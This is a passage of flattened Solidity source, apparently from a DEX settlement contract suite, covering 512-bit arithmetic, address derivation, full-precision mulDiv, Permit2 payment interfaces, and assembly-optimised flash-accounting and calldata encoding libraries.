uint512 y) pure returns (uint512 r) { Lib512MathUserDefinedHelpers.checkNull(x, y); r.oadd(x, y); } function __sub(uint512 x, uint512 y) pure returns (uint512 r) { Lib512MathUserDefinedHelpers.checkNull(x, y); r.osub(x, y); } function __mul(uint512 x, uint512 y) pure returns (uint512 r) { Lib512MathUserDefinedHelpers.checkNull(x, y); r.omul(x, y); } function __mod(uint512 x, uint512 y) pure returns (uint512 r) { Lib512MathUserDefinedHelpers.checkNull(x, y); Lib512MathUserDefinedHelpers.smuggleToPure(Lib512MathUserDefinedHelpers.omod)(r, x, y); } function __div(uint512 x, uint512 y) pure returns (uint512 r) { Lib512MathUserDefinedHelpers.checkNull(x, y); Lib512MathUserDefinedHelpers.smuggleToPure(Lib512MathUserDefinedHelpers.odiv)(r, x, y); } using {__add as +, __sub as -, __mul as *, __mod as %, __div as / } for uint512 global; struct uint512_external { uint256 hi; uint256 lo; } library Lib512MathExternal { function from(uint512 r, uint512_external memory x) internal pure returns (uint512) { assembly ("memory-safe") { mstore(r, mload(x)) mstore(add(0x20, r), mload(add(0x20, x))) } return r; } function into(uint512_external memory x) internal pure returns (uint512 r) { assembly ("memory-safe") { r := x } } function toExternal(uint512 x) internal pure returns (uint512_external memory r) { assembly ("memory-safe") { if iszero(eq(mload(0x40), add(0x40, r))) { revert(0x00, 0x00) } mstore(0x40, r) r := x } } } using Lib512MathExternal for uint512 global; using Lib512MathExternal for uint512_external global; // src/utils/AddressDerivation.sol library AddressDerivation { using UnsafeMath for uint256; uint256 internal constant _SECP256K1_P = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F; uint256 internal constant _SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141; uint256 internal constant SECP256K1_GX = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798; uint256 internal constant SECP256K1_GY = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8; error InvalidCurve(uint256 x, uint256 y); // keccak256(abi.encodePacked(ECMUL([x, y], k)))[12:] function deriveEOA(uint256 x, uint256 y, uint256 k) internal pure returns (address) { if (k == 0) { Panic.panic(Panic.DIVISION_BY_ZERO); } if (k >= _SECP256K1_N || x >= _SECP256K1_P || y >= _SECP256K1_P) { Panic.panic(Panic.ARITHMETIC_OVERFLOW); } // +/-7 are neither square nor cube mod p, so we only have to check one // coordinate against 0. if it is 0, then the other is too (the point at // infinity) or the point is invalid if ( x == 0 || y.unsafeMulMod(y, _SECP256K1_P) != x.unsafeMulMod(x, _SECP256K1_P).unsafeMulMod(x, _SECP256K1_P).unsafeAddMod(7, _SECP256K1_P) ) { revert InvalidCurve(x, y); } unchecked { // https://ethresear.ch/t/you-can-kinda-abuse-ecrecover-to-do-ecmul-in-secp256k1-today/2384 return ecrecover( bytes32(0), uint8(27 + (y & 1)), bytes32(x), bytes32(UnsafeMath.unsafeMulMod(x, k, _SECP256K1_N)) ); } } // keccak256(RLP([deployer, nonce]))[12:] function deriveContract(address deployer, uint64 nonce) internal pure returns (address result) { if (nonce == 0) { assembly ("memory-safe") { mstore( 0x00, or( 0xd694000000000000000000000000000000000000000080, shl(8, and(0xffffffffffffffffffffffffffffffffffffffff, deployer)) ) ) result := keccak256(0x09, 0x17) } } else if (nonce < 0x80) { assembly ("memory-safe") { // we don't care about dirty bits in `deployer`; they'll be overwritten later mstore(0x14, deployer) mstore(0x00, 0xd694) mstore8(0x34, nonce) result := keccak256(0x1e, 0x17) } } else { // compute ceil(log_256(nonce)) + 1 uint256 nonceLength = 8; unchecked { if ((uint256(nonce) >> 32) != 0) { nonceLength += 32; if (nonce == type(uint64).max) { Panic.panic(Panic.ARITHMETIC_OVERFLOW); } } if ((uint256(nonce) >> 8) >= (1 << nonceLength)) { nonceLength += 16; } if (uint256(nonce) >= (1 << nonceLength)) { nonceLength += 8; } // ceil if ((uint256(nonce) << 8) >= (1 << nonceLength)) { nonceLength += 8; } // bytes, not bits nonceLength >>= 3; } assembly ("memory-safe") { // we don't care about dirty bits in `deployer` or `nonce`. they'll be overwritten later mstore(nonceLength, nonce) mstore8(0x20, add(0x7f, nonceLength)) mstore(0x00, deployer) mstore8(0x0a, add(0xd5, nonceLength)) mstore8(0x0b, 0x94) result := keccak256(0x0a, add(0x16, nonceLength)) } } } // keccak256(abi.encodePacked(bytes1(0xff), deployer, salt, initHash))[12:] function deriveDeterministicContract(address deployer, bytes32 salt, bytes32 initHash) internal pure returns (address result) { assembly ("memory-safe") { let ptr := mload(0x40) // we don't care about dirty bits in `deployer`; they'll be overwritten later mstore(ptr, deployer) mstore8(add(ptr, 0x0b), 0xff) mstore(add(ptr, 0x20), salt) mstore(add(ptr, 0x40), initHash) result := keccak256(add(ptr, 0x0b), 0x55) } } } // src/vendor/FullMath.sol /// @title Contains 512-bit math functions /// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision /// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv library FullMath { using UnsafeMath for uint256; /// @notice 512-bit multiply [prod1 prod0] = a * b /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return prod0 Least significant 256 bits of the product /// @return prod1 Most significant 256 bits of the product /// @return remainder Remainder of full-precision division function _mulDivSetup(uint256 a, uint256 b, uint256 denominator) private pure returns (uint256 prod0, uint256 prod1, uint256 remainder) { // Compute the product mod 2**256 and mod 2**256 - 1 then use the Chinese // Remainder Theorem to reconstruct the 512 bit result. The result is stored // in two 256 variables such that product = prod1 * 2**256 + prod0 assembly ("memory-safe") { // Full-precision multiplication { let mm := mulmod(a, b, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) prod0 := mul(a, b) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } remainder := mulmod(a, b, denominator) } } /// @notice 512-bit by 256-bit division. /// @param prod0 Least significant 256 bits of the product /// @param prod1 Most significant 256 bits of the product /// @param denominator The divisor /// @param remainder Remainder of full-precision division /// @return The 256-bit result /// @dev Overflow and division by zero aren't checked and are GIGO errors function _mulDivInvert(uint256 prod0, uint256 prod1, uint256 denominator, uint256 remainder) private pure returns (uint256) { uint256 inv; assembly ("memory-safe") { // Make division exact by rounding [prod1 prod0] down to a multiple of // denominator // Subtract 256 bit number from 512 bit number prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) // Factor powers of two out of denominator { // Compute largest power of two divisor of denominator. // Always >= 1. let twos := and(sub(0, denominator), denominator) // Divide denominator by power of two denominator := div(denominator, twos) // Divide [prod1 prod0] by the factors of two prod0 := div(prod0, twos) // Shift in bits from prod1 into prod0. For this we need to flip `twos` // such that it is 2**256 / twos. // If twos is zero, then it becomes one twos := add(div(sub(0, twos), twos), 1) prod0 := or(prod0, mul(prod1, twos)) } // Invert denominator mod 2**256 // Now that denominator is an odd number, it has an inverse modulo 2**256 // such that denominator * inv = 1 mod 2**256. // Compute the inverse by starting with a seed that is correct correct for // four bits. That is, denominator * inv = 1 mod 2**4 inv := xor(mul(3, denominator), 2) // Now use Newton-Raphson iteration to improve the precision. // Thanks to Hensel's lifting lemma, this also works in modular // arithmetic, doubling the correct bits in each step. inv := mul(inv, sub(2, mul(denominator, inv))) // inverse mod 2**8 inv := mul(inv, sub(2, mul(denominator, inv))) // inverse mod 2**16 inv := mul(inv, sub(2, mul(denominator, inv))) // inverse mod 2**32 inv := mul(inv, sub(2, mul(denominator, inv))) // inverse mod 2**64 inv := mul(inv, sub(2, mul(denominator, inv))) // inverse mod 2**128 inv := mul(inv, sub(2, mul(denominator, inv))) // inverse mod 2**256 } // Because the division is now exact we can divide by multiplying with the // modular inverse of denominator. This will give us the correct result // modulo 2**256. Since the precoditions guarantee that the outcome is less // than 2**256, this is the final result. We don't need to compute the high // bits of the result and prod1 is no longer required. unchecked { return prod0 * inv; } } /// @notice Calculates a×b÷denominator with full precision then rounds towards 0. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return The 256-bit result function mulDiv(uint256 a, uint256 b, uint256 denominator) internal pure returns (uint256) { (uint256 prod0, uint256 prod1, uint256 remainder) = _mulDivSetup(a, b, denominator); // Make sure the result is less than 2**256. // Also prevents denominator == 0 if (denominator <= prod1) { Panic.panic(denominator == 0 ? Panic.DIVISION_BY_ZERO : Panic.ARITHMETIC_OVERFLOW); } // Handle non-overflow cases, 256 by 256 division if (prod1 == 0) { return prod0.unsafeDiv(denominator); } return _mulDivInvert(prod0, prod1, denominator, remainder); } /// @notice Calculates a×b÷denominator with full precision then rounds towards 0. Overflowing a uint256 or denominator == 0 are GIGO errors /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return The 256-bit result function unsafeMulDiv(uint256 a, uint256 b, uint256 denominator) internal pure returns (uint256) { (uint256 prod0, uint256 prod1, uint256 remainder) = _mulDivSetup(a, b, denominator); // Overflow and zero-division checks are skipped // Handle non-overflow cases, 256 by 256 division if (prod1 == 0) { return prod0.unsafeDiv(denominator); } return _mulDivInvert(prod0, prod1, denominator, remainder); } /// @notice Calculates a×b÷denominator with full precision then rounds towards 0. Overflowing a uint256 or denominator == 0 are GIGO errors /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @dev This is the branchless, straight line version of `unsafeMulDiv`. If we know that `prod1 != 0` this may be faster. Also this gives Solc a better chance to optimize. /// @return The 256-bit result function unsafeMulDivAlt(uint256 a, uint256 b, uint256 denominator) internal pure returns (uint256) { (uint256 prod0, uint256 prod1, uint256 remainder) = _mulDivSetup(a, b, denominator); return _mulDivInvert(prod0, prod1, denominator, remainder); } } // src/core/Permit2PaymentAbstract.sol abstract contract Permit2PaymentAbstract is AbstractContext { string internal constant TOKEN_PERMISSIONS_TYPE = "TokenPermissions(address token,uint256 amount)"; function _isRestrictedTarget(address) internal view virtual returns (bool); function _operator() internal view virtual returns (address); function _permitToSellAmountCalldata(ISignatureTransfer.PermitTransferFrom calldata permit) internal view virtual returns (uint256 sellAmount); function _permitToSellAmount(ISignatureTransfer.PermitTransferFrom memory permit) internal view virtual returns (uint256 sellAmount); function _permitToTransferDetails(ISignatureTransfer.PermitTransferFrom memory permit, address recipient) internal view virtual returns (ISignatureTransfer.SignatureTransferDetails memory transferDetails, uint256 sellAmount); function _transferFromIKnowWhatImDoing( ISignatureTransfer.PermitTransferFrom memory permit, ISignatureTransfer.SignatureTransferDetails memory transferDetails, address from, bytes32 witness, string memory witnessTypeString, bytes memory sig, bool isForwarded ) internal virtual; function _transferFromIKnowWhatImDoing( ISignatureTransfer.PermitTransferFrom memory permit, ISignatureTransfer.SignatureTransferDetails memory transferDetails, address from, bytes32 witness, string memory witnessTypeString, bytes memory sig ) internal virtual; function _transferFrom( ISignatureTransfer.PermitTransferFrom memory permit, ISignatureTransfer.SignatureTransferDetails memory transferDetails, bytes memory sig, bool isForwarded ) internal virtual; function _transferFrom( ISignatureTransfer.PermitTransferFrom memory permit, ISignatureTransfer.SignatureTransferDetails memory transferDetails, bytes memory sig ) internal virtual; function _setOperatorAndCall( address target, bytes memory data, uint32 selector, function (bytes calldata) internal returns (bytes memory) callback ) internal virtual returns (bytes memory); modifier metaTx(address msgSender, bytes32 witness) virtual; modifier takerSubmitted() virtual; function _allowanceHolderTransferFrom(address token, address owner, address recipient, uint256 amount) internal virtual; } // src/core/FlashAccountingCommon.sol library CreditDebt { using UnsafeMath for int256; function asCredit(int256 delta, NotePtr note) internal pure returns (uint256) { if (delta < 0) { assembly ("memory-safe") { mstore(note, 0x4c085bf1) // selector for `DeltaNotPositive(address)`; clobbers `note.amount()` revert(add(0x1c, note), 0x24) } } return uint256(delta); } function asDebt(int256 delta, NotePtr note) internal pure returns (uint256) { if (delta > 0) { assembly ("memory-safe") { mstore(note, 0x3351b260) // selector for `DeltaNotNegative(address)`; clobbers `note.amount()` revert(add(0x1c, note), 0x24) } } return uint256(delta.unsafeNeg()); } } /// This type is the same as `NotesLib.Note`, but as a user-defined value type to sidestep solc's /// awful memory handling. type NotePtr is uint256; /// This library is a highly-optimized, in-memory, enumerable mapping from tokens to amounts. It /// consists of 2 components that must be kept synchronized. There is a `memory` array of `Note` /// (aka `Note[] memory`) that has up to `MAX_TOKENS` pre-allocated. And there is an implicit heap /// packed at the end of the array that stores the `Note`s. Each `Note` has a backpointer that knows /// its location in the `Notes[] memory`. While the length of the `Notes[]` array grows and shrinks /// as tokens are added and retired, heap objects are only cleared/deallocated when the context /// returns. Looking up the `Note` object corresponding to a token uses the perfect hash formed by /// `hashMul` and `hashMod`. Pay special attention to these parameters. See further below for /// recommendations on how to select values for them. A hash collision will result in a revert with /// signature `TokenHashCollision(address,address)`. library NotesLib { uint256 private constant _ADDRESS_MASK = 0x00ffffffffffffffffffffffffffffffffffffffff; /// This is the maximum number of tokens that may be involved in an action. Increasing or /// decreasing this value requires no other changes elsewhere in this file. uint256 internal constant MAX_TOKENS = 8; type NotePtrPtr is uint256; struct Note { uint256 amount; IERC20 token; NotePtrPtr backPtr; } function construct() internal pure returns (Note[] memory r) { assembly ("memory-safe") { r := mload(0x40) // set the length of `r` to zero mstore(r, 0x00) // zeroize the heap codecopy(add(add(0x20, shl(0x05, MAX_TOKENS)), r), codesize(), mul(0x60, MAX_TOKENS)) // allocate memory mstore(0x40, add(add(0x20, shl(0x07, MAX_TOKENS)), r)) } } function amount(NotePtr note) internal pure returns (uint256 r) { assembly ("memory-safe") { r := mload(note) } } function setAmount(NotePtr note, uint256 newAmount) internal pure { assembly ("memory-safe") { mstore(note, newAmount) } } function token(NotePtr note) internal pure returns (IERC20 r) { assembly ("memory-safe") { r := mload(add(0x20, note)) } } function eq(Note memory x, Note memory y) internal pure returns (bool) { NotePtr yp; assembly ("memory-safe") { yp := y } return eq(x, yp); } function eq(Note memory x, NotePtr y) internal pure returns (bool) { NotePtr xp; assembly ("memory-safe") { xp := x } return eq(xp, y); } function eq(NotePtr x, NotePtr y) internal pure returns (bool r) { assembly ("memory-safe") { r := eq(x, y) } } function unsafeGet(Note[] memory a, uint256 i) internal pure returns (IERC20 retToken, uint256 retAmount) { assembly ("memory-safe") { let x := mload(add(add(0x20, shl(0x05, i)), a)) retToken := mload(add(0x20, x)) retAmount := mload(x) } } //// How to generate a perfect hash: //// //// The arguments `hashMul` and `hashMod` are required to form a perfect hash for a table with //// size `NotesLib.MAX_TOKENS` when applied to all the tokens involved in fills. The hash //// function is constructed as `uint256 hash = mulmod(uint256(uint160(address(token))), //// hashMul, hashMod) % NotesLib.MAX_TOKENS`. //// //// The "simple" or "obvious" way to do this is to simply try random 128-bit numbers for both //// `hashMul` and `hashMod` until you obtain a function that has no collisions when applied to //// the tokens involved in fills. A substantially more optimized algorithm can be obtained by //// selecting several (at least 10) prime values for `hashMod`, precomputing the limb moduluses //// for each value, and then selecting randomly from among them. The author recommends using //// the 10 largest 64-bit prime numbers: 2^64 - {59, 83, 95, 179, 189, 257, 279, 323, 353, //// 363}. `hashMul` can then be selected randomly or via some other optimized method. //// //// Note that in spite of the fact that some AMMs represent Ether (or the native asset of the //// chain) as `address(0)`, we represent Ether as `SettlerAbstract.ETH_ADDRESS` (the address of //// all `e`s) for homogeneity with other parts of the codebase, and because the decision to //// represent Ether as `address(0)` was stupid in the first place. `address(0)` represents the //// absence of a thing, not a special case of the thing. It creates confusion with //// uninitialized memory, storage, and variables. function get(Note[] memory a, IERC20 newToken, uint256 hashMul, uint256 hashMod) internal pure returns (NotePtr x) { assembly ("memory-safe") { newToken := and(_ADDRESS_MASK, newToken) x := add(add(0x20, shl(0x05, MAX_TOKENS)), a) // `x` now points at the first `Note` on the heap x := add(mod(mulmod(newToken, hashMul, hashMod), mul(0x60, MAX_TOKENS)), x) // combine with token hash // `x` now points at the exact `Note` object we want; let's check it to be sure, though let x_token_ptr := add(0x20, x) // check that we haven't encountered a hash collision. checking for a hash collision is // equivalent to checking for array out-of-bounds or overflow. { let old_token := mload(x_token_ptr) if mul(or(mload(add(0x40, x)), old_token), xor(old_token, newToken)) { mstore(0x00, 0x9a62e8b4) // selector for `TokenHashCollision(address,address)` mstore(0x20, old_token) mstore(0x40, newToken) revert(0x1c, 0x44) } } // zero `newToken` is a footgun; check for it if iszero(newToken) { mstore(0x00, 0xad1991f5) // selector for `ZeroToken()` revert(0x1c, 0x04) } // initialize the token (possibly redundant) mstore(x_token_ptr, newToken) } } function add(Note[] memory a, Note memory x) internal pure { NotePtr xp; assembly ("memory-safe") { xp := x } return add(a, xp); } function add(Note[] memory a, NotePtr x) internal pure { assembly ("memory-safe") { let backptr_ptr := add(0x40, x) let backptr := mload(backptr_ptr) if iszero(backptr) { let len := add(0x01, mload(a)) // We don't need to check for overflow or out-of-bounds access here; the checks in // `get` above for token collision handle that for us. It's not possible to `get` // more than `MAX_TOKENS` tokens mstore(a, len) backptr := add(shl(0x05, len), a) mstore(backptr, x) mstore(backptr_ptr, backptr) } } } function del(Note[] memory a, Note memory x) internal pure { NotePtr xp; assembly ("memory-safe") { xp := x } return del(a, xp); } function del(Note[] memory a, NotePtr x) internal pure { assembly ("memory-safe") { let x_backptr_ptr := add(0x40, x) let x_backptr := mload(x_backptr_ptr) if x_backptr { // Clear the backpointer in the referred-to `Note` mstore(x_backptr_ptr, 0x00) // We do not deallocate `x` // Decrement the length of `a` let len := mload(a) mstore(a, sub(len, 0x01)) // Check if this is a "swap and pop" or just a "pop" let end_ptr := add(shl(0x05, len), a) if iszero(eq(end_ptr, x_backptr)) { // Overwrite the vacated indirection pointer `x_backptr` with the value at the end. let end := mload(end_ptr) mstore(x_backptr, end) // Fix up the backpointer in `end` to point to the new location of the indirection // pointer. let end_backptr_ptr := add(0x40, end) mstore(end_backptr_ptr, x_backptr) } } } } } using NotesLib for NotePtr global; /// `State` behaves as if it were declared as: /// struct State { /// NotesLib.Note buy; /// NotesLib.Note sell; /// NotesLib.Note globalSell; /// uint256 globalSellAmount; /// uint256 _hashMul; /// uint256 _hashMod; /// } /// but we use a user-defined value type because solc generates very gas-inefficient boilerplate /// that allocates and zeroes a bunch of memory. Consequently, everything is written in assembly and /// accessors are provided for the relevant members. type State is bytes32; library StateLib { using NotesLib for NotesLib.Note; using NotesLib for NotesLib.Note[]; function construct(IERC20 token, uint256 hashMul, uint256 hashMod) internal pure returns (State state, NotesLib.Note[] memory notes) { assembly ("memory-safe") { // Allocate memory state := mload(0x40) mstore(0x40, add(0xc0, state)) } // All the pointers in `state` are now pointing into unallocated memory notes = NotesLib.construct(); // The pointers in `state` are now illegally aliasing elements in `notes` NotePtr notePtr = notes.get(token, hashMul, hashMod); // Here we actually set the pointers into a legal area of memory setBuy(state, notePtr); setSell(state, notePtr); assembly ("memory-safe") { // Set `state.globalSell` mstore(add(0x40, state), notePtr) // Set `state._hashMul` mstore(add(0x80, state), hashMul) // Set `state._hashMod` mstore(add(0xa0, state), hashMod) } } function buy(State state) internal pure returns (NotePtr note) { assembly ("memory-safe") { note := mload(state) } } function sell(State state) internal pure returns (NotePtr note) { assembly ("memory-safe") { note := mload(add(0x20, state)) } } function globalSell(State state) internal pure returns (NotePtr note) { assembly ("memory-safe") { note := mload(add(0x40, state)) } } function globalSellAmount(State state) internal pure returns (uint256 r) { assembly ("memory-safe") { r := mload(add(0x60, state)) } } function setGlobalSellAmount(State state, uint256 newGlobalSellAmount) internal pure { assembly ("memory-safe") { mstore(add(0x60, state), newGlobalSellAmount) } } function _hashMul(State state) private pure returns (uint256 r) { assembly ("memory-safe") { r := mload(add(0x80, state)) } } function _hashMod(State state) private pure returns (uint256 r) { assembly ("memory-safe") { r := mload(add(0xa0, state)) } } function checkZeroSellAmount(State state) internal pure { NotePtr globalSell_ = state.globalSell(); if (globalSell_.amount() == 0) { assembly ("memory-safe") { mstore(globalSell_, 0xfb772a88) // selector for `ZeroSellAmount(address)`; clobbers `globalSell_.amount()` revert(add(0x1c, globalSell_), 0x24) } } } function setSell(State state, NotePtr notePtr) internal pure { assembly ("memory-safe") { mstore(add(0x20, state), notePtr) } } function setSell(State state, NotesLib.Note[] memory notes, IERC20 token) internal pure { setSell(state, notes.get(token, _hashMul(state), _hashMod(state))); } function setBuy(State state, NotePtr notePtr) internal pure { assembly ("memory-safe") { mstore(state, notePtr) } } function setBuy(State state, NotesLib.Note[] memory notes, IERC20 token) internal pure { setBuy(state, notes.get(token, _hashMul(state), _hashMod(state))); } } using StateLib for State global; library Encoder { uint256 internal constant BASIS = 10_000; function encode( uint32 unlockSelector, address recipient, IERC20 sellToken, uint256 bps, bool feeOnTransfer, uint256 hashMul, uint256 hashMod, bytes memory fills, uint256 amountOutMin ) internal view returns (bytes memory data) { if (bps > BASIS) { Panic.panic(Panic.ARITHMETIC_OVERFLOW); } if (amountOutMin > uint128(type(int128).max)) { Panic.panic(Panic.ARITHMETIC_OVERFLOW); } hashMul *= 96; hashMod *= 96; if (hashMul > type(uint128).max) { Panic.panic(Panic.ARITHMETIC_OVERFLOW); } if (hashMod > type(uint128).max) { Panic.panic(Panic.ARITHMETIC_OVERFLOW); } assembly ("memory-safe") { data := mload(0x40) let pathLen := mload(fills) mcopy(add(0xd3, data), add(0x20, fills), pathLen) mstore(add(0xb3, data), bps) mstore(add(0xb1, data), sellToken) mstore(add(0x9d, data), address()) // payer // feeOnTransfer (1 byte) mstore(add(0x88, data), hashMod) mstore(add(0x78, data), hashMul) mstore(add(0x68, data), amountOutMin) mstore(add(0x58, data), recipient) mstore(add(0x44, data), add(0x6f, pathLen)) mstore(add(0x24, data), 0x20) mstore(add(0x04, data), and(0xffffffff, unlockSelector)) mstore(data, add(0xb3, pathLen)) mstore8(add(0xa8, data), feeOnTransfer) mstore(0x40, add(data, add(0xd3, pathLen))) } } function encodeVIP( uint32 unlockSelector, address recipient, bool feeOnTransfer, uint256 hashMul, uint256 hashMod, bytes memory fills, ISignatureTransfer.PermitTransferFrom memory permit, bytes memory sig, bool isForwarded, uint256 amountOutMin ) internal pure returns (bytes memory data) { if (amountOutMin > uint128(type(int128).max)) { Panic.panic(Panic.ARITHMETIC_OVERFLOW); } hashMul *= 96; hashMod *= 96; if (hashMul > type(uint128).max) { Panic.panic(Panic.ARITHMETIC_OVERFLOW); } if (hashMod > type(uint128).max) { Panic.panic(Panic.ARITHMETIC_OVERFLOW); } assembly ("memory-safe") { data := mload(0x40) let pathLen := mload(fills) let sigLen := mload(sig) { let ptr := add(0x132, data) // sig length as 3 bytes goes at the end of the callback mstore(sub(add(sigLen, add(pathLen, ptr)), 0x1d), sigLen) // fills go at the end of the header mcopy(ptr, add(0x20, fills), pathLen) ptr := add(pathLen, ptr) // signature comes after the fills mcopy(ptr, add(0x20, sig), sigLen) ptr := add(sigLen, ptr) mstore(0x40, add(0x03, ptr)) } mstore8(add(0x131, data), isForwarded) mcopy(add(0xf1, data), add(0x20, permit), 0x40) mcopy(add(0xb1, data), mload(permit), 0x40) // aliases `payer` on purpose mstore(add(0x9d, data), 0x00) // payer // feeOnTransfer (1 byte) mstore(add(0x88, data), hashMod) mstore(add(0x78, data), hashMul) mstore(add(0x68, data), amountOutMin) mstore(add(0x58, data), recipient) mstore(add(0x44, data), add(0xd1, add(pathLen, sigLen))) mstore(add(0x24, data), 0x20) mstore(add(0x04, data), and(0xffffffff, unlockSelector)) mstore(data, add(0x115, add(pathLen, sigLen))) mstore8(add(0xa8, data), feeOnTransfer) } } } library Decoder { using SafeTransferLib for IERC20; using UnsafeMath for uint256; using NotesLib for NotesLib.Note; using NotesLib for NotesLib.Note[]; uint256 internal constant BASIS = 10_000; IERC20 internal constant ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); /// Update `state` for the next fill packed in `data`. This also may allocate/append `Note`s /// into `notes`. Returns the suffix of the bytes that are not consumed in the decoding /// process. The first byte of `data` describes which of the compact representations for the hop /// is used. /// /// 0 -> sell and buy tokens remain unchanged from the previous fill (pure multiplex) /// 1 -> sell token remains unchanged from the previous fill, buy token is read from `data` (diamond multiplex) /// 2 -> sell token becomes the buy token from the previous fill, new buy token is read from `data` (multihop) /// 3 -> both sell and buy token are read from `data` /// /// This function is responsible for calling `NotesLib.get(Note[] memory, IERC20, uint256, /// uint256)` (via `StateLib.setSell` and `StateLib.setBuy`), which maintains the `notes` array /// and heap. function updateState(State state, NotesLib.Note[] memory notes, bytes calldata data) internal pure returns (bytes calldata) { bytes32 dataWord; assembly ("memory-safe") { dataWord := calldataload(data.offset) } uint256 dataConsumed = 1; uint256 caseKey = uint256(dataWord) >> 248; if (caseKey != 0) { notes.add(state.buy()); if (caseKey > 1) { if (state.sell().amount() == 0) { notes.del(state.sell()); } if (caseKey == 2) { state.setSell(state.buy()); } else { assert(caseKey == 3); IERC20 sellToken = IERC20(address(uint160(uint256(dataWord) >> 88))); assembly ("memory-safe") { dataWord := calldataload(add(0x14, data.offset)) } unchecked { dataConsumed += 20; } state.setSell(notes, sellToken); } } IERC20 buyToken = IERC20(address(uint160(uint256(dataWord) >> 88))); unchecked { dataConsumed += 20; } state.setBuy(notes, buyToken); if (state.buy().eq(state.globalSell())) { assembly ("memory-safe") { let ptr := mload(add(0x40, state)) // dereference `state.globalSell` mstore(ptr, 0x784cb7b8) // selector for `BoughtSellToken(address)`; clobbers `state.globalSell.amount` revert(add(0x1c, ptr), 0x24) } } } assembly ("memory-safe") { data.offset := add(dataConsumed, data.offset) data.length := sub(data.length, dataConsumed) // we don't check for array out-of-bounds here; we will check it later in `_getHookData` } return data; } function overflowCheck(bytes calldata data) internal pure { if (data.length > 16777215) { Panic.panic(Panic.ARRAY_OUT_OF_BOUNDS); } } /// Decode an ABI-ish encoded `bytes` from `data`. It is "-ish" in the sense that the encoding /// of the length doesn't take up an entire word. The length is encoded as only 3 bytes (2^24 /// bytes of calldata consumes ~67M gas, much more than the block limit). The payload is also /// unpadded. The next fill's `bps` is encoded immediately after the `hookData` payload. function decodeBytes(bytes calldata data) internal pure returns (bytes calldata retData, bytes calldata hookData) { assembly ("memory-safe") { hookData.length := shr(0xe8, calldataload(data.offset)) hookData.offset := add(0x03, data.offset) let hop := add(0x03, hookData.length) retData.offset := add(data.offset, hop) retData.length := sub(data.length, hop) } } function decodeHeader(bytes calldata data) internal pure returns ( bytes calldata newData, // These values are user-supplied address recipient, uint256 minBuyAmount, uint256 hashMul, uint256 hashMod, bool feeOnTransfer, // `payer` is special and is authenticated address payer ) { // These values are user-supplied assembly ("memory-safe") { recipient := shr(0x60, calldataload(data.offset)) let packed := calldataload(add(0x14, data.offset)) minBuyAmount := shr(0x80, packed) hashMul := and(0xffffffffffffffffffffffffffffffff, packed) packed := calldataload(add(0x34, data.offset)) hashMod := shr(0x80, packed) feeOnTransfer := iszero(iszero(and(0x1000000000000000000000000000000, packed))) data.offset := add(0x45, data.offset) data.length := sub(data.length, 0x45) // we don't check for array out-of-bounds here; we will check it later in `initialize` } // `payer` is special and is authenticated assembly ("memory-safe") { payer := shr(0x60, calldataload(data.offset)) data.offset := add(0x14, data.offset) data.length := sub(data.length, 0x14) // we don't check for array out-of-bounds here; we will check it later in `initialize` } newData = data; } function initialize(bytes calldata data, uint256 hashMul, uint256 hashMod, address payer) internal view returns ( bytes calldata newData, State state, NotesLib.Note[] memory notes, ISignatureTransfer.PermitTransferFrom calldata permit, bool isForwarded, bytes calldata sig ) { { IERC20 sellToken; assembly ("memory-safe") { sellToken := shr(0x60, calldataload(data.offset)) } // We don't advance `data` here because there's a special interaction between `payer` // (which is the 20 bytes in calldata immediately before `data`), `sellToken`, and // `permit` that's handled below. (state, notes) = StateLib.construct(sellToken, hashMul, hashMod); } // This assembly block is just here to appease the compiler. We only use `permit` and `sig` // in the codepaths where they are set away from the values initialized here. assembly ("memory-safe") { permit := calldatasize() sig.offset := calldatasize() sig.length := 0x00 } if (state.globalSell().token() == ETH_ADDRESS) { assert(payer == address(this)); uint16 bps; assembly ("memory-safe") { // `data` hasn't been advanced from decoding `sellToken` above. so we have to // implicitly advance it by 20 bytes to decode `bps` then advance by 22 bytes bps := shr(0x50, calldataload(data.offset)) data.offset := add(0x16, data.offset) data.length := sub(data.length, 0x16) // We check for array out-of-bounds below } unchecked { state.globalSell().setAmount((address(this).balance * bps).unsafeDiv(BASIS)); } } else { if (payer == address(this)) { uint16 bps; assembly ("memory-safe") { // `data` hasn't been advanced from decoding `sellToken` above. so we have to // implicitly advance it by 20 bytes to decode `bps` then advance by 22 bytes bps := shr(0x50, calldataload(data.offset)) data.offset := add(0x16, data.offset) data.length := sub(data.length, 0x16) // We check for array out-of-bounds below } unchecked { NotePtr globalSell = state.globalSell(); globalSell.setAmount( (globalSell.token().fastBalanceOf(address(this)) * bps).unsafeDiv(BASIS) ); } } else { assert(payer == address(0)); assembly ("memory-safe") { // this is super dirty, but it works because although `permit` is aliasing in // the middle of `payer`, because `payer` is all zeroes, it's treated as padding // for the first word of `permit`, which is the sell token permit := sub(data.offset, 0x0c) isForwarded := and(0x01, calldataload(add(0x55, data.offset))) // `sig` is packed at the end of `data`, in "reverse ABI-ish encoded" fashion sig.offset := sub(add(data.offset, data.length), 0x03) sig.length := shr(0xe8, calldataload(sig.offset)) sig.offset := sub(sig.offset, sig.length) // Remove `permit` and `isForwarded` from the front of `data` data.offset := add(0x75, data.offset) if gt(data.offset, sig.offset) { revert(0x00, 0x00) } // Remove `sig` from the back of `data` data.length := sub(sub(data.length, 0x78), sig.length) // We check for array out-of-bounds below } } } Decoder.overflowCheck(data); newData = data; } } library Take { using 